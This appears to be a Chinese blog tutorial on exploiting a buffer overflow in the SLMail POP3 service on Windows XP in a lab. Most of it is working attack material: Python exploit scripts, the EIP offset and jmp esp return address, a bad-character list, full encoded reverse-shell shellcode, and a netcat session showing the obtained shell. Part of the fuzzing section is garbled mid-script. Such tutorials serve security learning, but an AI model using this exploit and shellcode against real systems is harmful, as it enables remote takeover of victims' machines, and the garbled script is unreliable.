|
写的不好多加指教
准备环境:
攻机:Kali 2.0
靶机:windows xp ,windows2003不能做这个实验,亲测好多次没成功。有兴趣可以试试
软件:SLMail、immunity debugger 、mona.py
需要软件的可以留言。
总体步骤:
1. 测试是否发生缓冲区溢出
2. 找到缓冲区溢出的位置的临界点并验证
3. 查找系统中固定分配的模块中,哪里有jmp esp,为了后面实现跳转
4. 在2找到的位置处写上3处找到的地址,也就是实现由 eip 到 jmp esp 的过程。这个过程设置断点验证是否跳转成功
5. 判断有哪些坏字符,每个服务不一定相同
6. 生成shellcode,并发送。
7. 完成
Step 1. 利用python脚本测试连接windows的POP3
开启windows的POP3服务
使用python脚本测试来连接
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending veil buffer..."
s.connect(('10.10.10.19',110))
data=s.recv(1024)
print data
s.send('USER test\r\n')
data=s.recv(1024)
print data
s.send('PASS test\r\n')
data=s.recv(1024)
print data
s.close()
print "\nDone!"
except:
print "\nFailed to connect pop3"
运行结果:
root@kal:/test# ./01.py
Sending veil buffer...
+OK POP3 server example.com ready
-ERR unable to lock mailbox
Done!
说明连接POP3成功.....
Step2. 测试符合是否会发生缓冲区溢出
windows端要用immunity debugger打开slmail服务
打开immunity ==> File ==> Attach ==>选择下面的那一行
http://i2.运维网.com/images/blog/201807/10/271372a26932b2b7070b9a55734946ae.png
点右下角的Attach,然后开始运行,运行时候,右下角的pause会变成running状态
http://i2.运维网.com/images/blog/201807/10/1ad57e225c20d12181491cb25d88eb75.png
这时运行下面脚本:
#!/usr/bin/python
import socket
buffer = ["A"]
counter = 100
while len(buffer) jmp esp
00000000 FFE4 jmp esp
输入十六进制需要加上 \x 。后面就以第一个作为jmp esp
双击查找的第一个 jmp esp,就可以看到地址是 5F4A358F
http://i2.运维网.com/images/blog/201807/10/02c9f4f7d6191038e84e82592998796e.png
Step 6 测试跳转
接着上面的地址设置断点
http://i2.运维网.com/images/blog/201807/10/70ac0c3875249b675f32c04f2dcc5160.png
发送下面的脚本:
#!/usr/bin/python
import socket
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "C"*900 #倒着输入上面的地址。
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending veil buffer..."
s.connect(('10.10.10.19',110))
data=s.recv(1024)
s.send('USER test\r\n')
s.send('PASS '+ buffer + '\r\n')
data=s.recv(1024)
s.close()
print "\nDone!"
except:
print "\nFailed to connect pop3"
启动服务,发送脚本
http://i2.运维网.com/images/blog/201807/10/62e128cd8046ed05f609d861886283d3.png
右下角会显示执行到断点处,停止
这时按下F7单步执行
http://i2.运维网.com/images/blog/201807/10/acebdd6939d4857b2f1deed758fad84a.png
就可以看到,已经跳转到esp,里面装的43 也即是C
说明跳转成功了。
Step 7 判断坏字符
重启服务。
编写下面脚本‘’
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchar=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00"
)
buffer="A"*2606+"B"*4+badchar
try:
s.connect(('10.10.10.12',110))
data=s.recv(1024)
s.send('USER test'+'\r\n')
data=s.recv(1024)
s.send('PASS '+buffer+'\r\n')
s.close()
print "\nDone"
print "\nSending veil buffer..."
except:
print "Fail connect target"
发送脚本,在windows端
http://i2.运维网.com/images/blog/201807/10/5ee9dee69560b9204482086ad88a3f24.png
通过上图可以看到0x0a的字符缺失,并且之后的字符也有丢失,那么我们改掉0x0a继续发送一遍
http://i2.运维网.com/images/blog/201807/10/56626cb328f70ef82fec4d0bf0ae26fb.png
可以看到,我们踢掉0a之后,后面字符串就可以显示了,说明0a是个坏字符。\x0d也没有显示出来,以及\x00
这样就找到三个坏字符0x00 0x0D 0x0A
Step 8 构造shellcode
构造反弹shell
root@kal:/usr/share/framework2# ./msfpayload win32_reverse LHOST=10.10.10.11 LPORT=4444 R | ./msfencode -b "\x0d\x00\x0a"
Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f\x2a\x32".
"\x60\x83\xeb\xfc\xe2\xf4\xf3\x40\xd9\x2d\xe7\xd3\xcd\x9f\xf0\x4a".
"\xb9\x0c\x2b\x0e\xb9\x25\x33\xa1\x4e\x65\x77\x2b\xdd\xeb\x40\x32".
"\xb9\x3f\x2f\x2b\xd9\x29\x84\x1e\xb9\x61\xe1\x1b\xf2\xf9\xa3\xae".
"\xf2\x14\x08\xeb\xf8\x6d\x0e\xe8\xd9\x94\x34\x7e\x16\x48\x7a\xcf".
"\xb9\x3f\x2b\x2b\xd9\x06\x84\x26\x79\xeb\x50\x36\x33\x8b\x0c\x06".
"\xb9\xe9\x63\x0e\x2e\x01\xcc\x1b\xe9\x04\x84\x69\x02\xeb\x4f\x26".
"\xb9\x10\x13\x87\xb9\x20\x07\x74\x5a\xee\x41\x24\xde\x30\xf0\xfc".
"\x54\x33\x69\x42\x01\x52\x67\x5d\x41\x52\x50\x7e\xcd\xb0\x67\xe1".
"\xdf\x9c\x34\x7a\xcd\xb6\x50\xa3\xd7\x06\x8e\xc7\x3a\x62\x5a\x40".
"\x30\x9f\xdf\x42\xeb\x69\xfa\x87\x65\x9f\xd9\x79\x61\x33\x5c\x69".
"\x61\x23\x5c\xd5\xe2\x08\x05\x20\x38\x6b\x69\x42\x23\x3c\x69\x79".
"\xbb\x81\x9a\x42\xde\x99\xa5\x4a\x65\x9f\xd9\x40\x22\x31\x5a\xd5".
"\xe2\x06\x65\x4e\x54\x08\x6c\x47\x58\x30\x56\x03\xfe\xe9\xe8\x40".
"\x76\xe9\xed\x1b\xf2\x93\xa5\xbf\xbb\x9d\xf1\x68\x1f\x9e\x4d\x06".
"\xbf\x1a\x37\x81\x99\xcb\x67\x58\xcc\xd3\x19\xd5\x47\x48\xf0\xfc".
"\x69\x37\x5d\x7b\x63\x31\x65\x2b\x63\x31\x5a\x7b\xcd\xb0\x67\x87".
"\xeb\x65\xc1\x79\xcd\xb6\x65\xd5\xcd\x57\xf0\xfa\x5a\x87\x76\xec".
"\x4b\x9f\x7a\x2e\xcd\xb6\xf0\x5d\xce\x9f\xdf\x42\xc2\xea\x0b\x75".
"\x61\x9f\xd9\xd5\xe2\x60";
编写脚本:
#!/usr/bin/python
import socket
shellcode="\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f\x2a\x32\x60\x83\xeb\xfc\xe2\xf4\xf3\x40\xd9\x2d\xe7\xd3\xcd\x9f\xf0\x4a\xb9\x0c\x2b\x0e\xb9\x25\x33\xa1\x4e\x65\x77\x2b\xdd\xeb\x40\x32\xb9\x3f\x2f\x2b\xd9\x29\x84\x1e\xb9\x61\xe1\x1b\xf2\xf9\xa3\xae\xf2\x14\x08\xeb\xf8\x6d\x0e\xe8\xd9\x94\x34\x7e\x16\x48\x7a\xcf\xb9\x3f\x2b\x2b\xd9\x06\x84\x26\x79\xeb\x50\x36\x33\x8b\x0c\x06\xb9\xe9\x63\x0e\x2e\x01\xcc\x1b\xe9\x04\x84\x69\x02\xeb\x4f\x26\xb9\x10\x13\x87\xb9\x20\x07\x74\x5a\xee\x41\x24\xde\x30\xf0\xfc\x54\x33\x69\x42\x01\x52\x67\x5d\x41\x52\x50\x7e\xcd\xb0\x67\xe1\xdf\x9c\x34\x7a\xcd\xb6\x50\xa3\xd7\x06\x8e\xc7\x3a\x62\x5a\x40\x30\x9f\xdf\x42\xeb\x69\xfa\x87\x65\x9f\xd9\x79\x61\x33\x5c\x69\x61\x23\x5c\xd5\xe2\x08\x05\x20\x38\x6b\x69\x42\x23\x3c\x69\x79\xbb\x81\x9a\x42\xde\x99\xa5\x4a\x65\x9f\xd9\x40\x22\x31\x5a\xd5\xe2\x06\x65\x4e\x54\x08\x6c\x47\x58\x30\x56\x03\xfe\xe9\xe8\x40\x76\xe9\xed\x1b\xf2\x93\xa5\xbf\xbb\x9d\xf1\x68\x1f\x9e\x4d\x06\xbf\x1a\x37\x81\x99\xcb\x67\x58\xcc\xd3\x19\xd5\x47\x48\xf0\xfc\x69\x37\x5d\x7b\x63\x31\x65\x2b\x63\x31\x5a\x7b\xcd\xb0\x67\x87\xeb\x65\xc1\x79\xcd\xb6\x65\xd5\xcd\x57\xf0\xfa\x5a\x87\x76\xec\x4b\x9f\x7a\x2e\xcd\xb6\xf0\x5d\xce\x9f\xdf\x42\xc2\xea\x0b\x75\x61\x9f\xd9\xd5\xe2\x60"
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "\x90"*9 +shellcode
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending veil buffer..."
s.connect(('10.10.10.19',110))
data=s.recv(1024)
s.send('USER test\r\n')
s.send('PASS '+ buffer + '\r\n')
data=s.recv(1024)
s.close()
print "\nDone!"
except:
print "\nFailed to connect pop3"
上面的\x90 代表NOP,不执行,目的是防止后面的shellcode因为其他原因缺失前面几个字节。
打开windows服务,用kali监听4444端口,然后发送脚本,得到一个反弹shell。
root@kal:/test# nc -lvp 4444
listening on [any] 4444 ...
^[[A^[[B10.10.10.19: inverse host lookup failed: Unknown host
connect to [10.10.10.11] from (UNKNOWN) [10.10.10.19] 1158
Microsoft Windows XP [�汾 5.1.2600]
(C) ��Ȩ���� 1985-2001 Microsoft Corp.
C:\Program Files\SLmail\System> #拿到shell
|
|
|